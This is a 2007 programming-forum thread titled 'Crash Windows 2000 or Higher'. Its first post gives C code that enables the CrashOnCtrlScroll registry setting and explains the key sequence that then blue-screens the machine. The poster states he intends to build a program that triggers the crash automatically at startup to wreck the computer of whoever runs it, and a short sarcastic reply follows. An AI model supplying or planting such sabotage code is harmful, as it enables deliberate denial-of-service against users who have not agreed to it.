Crash Windows 2000 or Higher

Discussion in 'Programming General' started by Govind, Sep 21, 2007.

Crash Windows 2000 or Higher
  1. Unread #1 - Sep 21, 2007 at 8:37 PM
  2. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Crash Windows 2000 or Higher

    Code:
    #include <windows.h>
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
         HKEY KeyHandle;
        DWORD Data = 1;
        RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters",&KeyHandle);
        RegSetValueEx(KeyHandle,"CrashOnCtrlScroll",NULL,REG_DWORD,(BYTE*)&Data,sizeof(DWORD));
        RegCloseKey(KeyHandle);
        return 0;
    }
    Run it, restart, then hold down the right (RIGHT, NOT LEFT) Ctrl button and tap Scroll Lock twice ;)
    I'll make an app to automatically press those keys on startup as to totally fuck up the comp this is used on.

    Note: You NEED administrator access, or at least the ability to write to the HKEY_LOCAL_MACHINE registry. Otherwise this won't work.
     
  3. Unread #2 - Sep 25, 2007 at 1:38 PM
  4. WoW Sucks
    Joined:
    Jan 21, 2007
    Posts:
    3,708
    Referrals:
    3
    Sythe Gold:
    0

    WoW Sucks Global Moderator
    Banned

    Crash Windows 2000 or Higher

    Yes...this will be extremely helpful.... :p
     
< Converting an integer to a constant? | Ideas >

Users viewing this thread
1 guest


 
 
Adblock breaks this site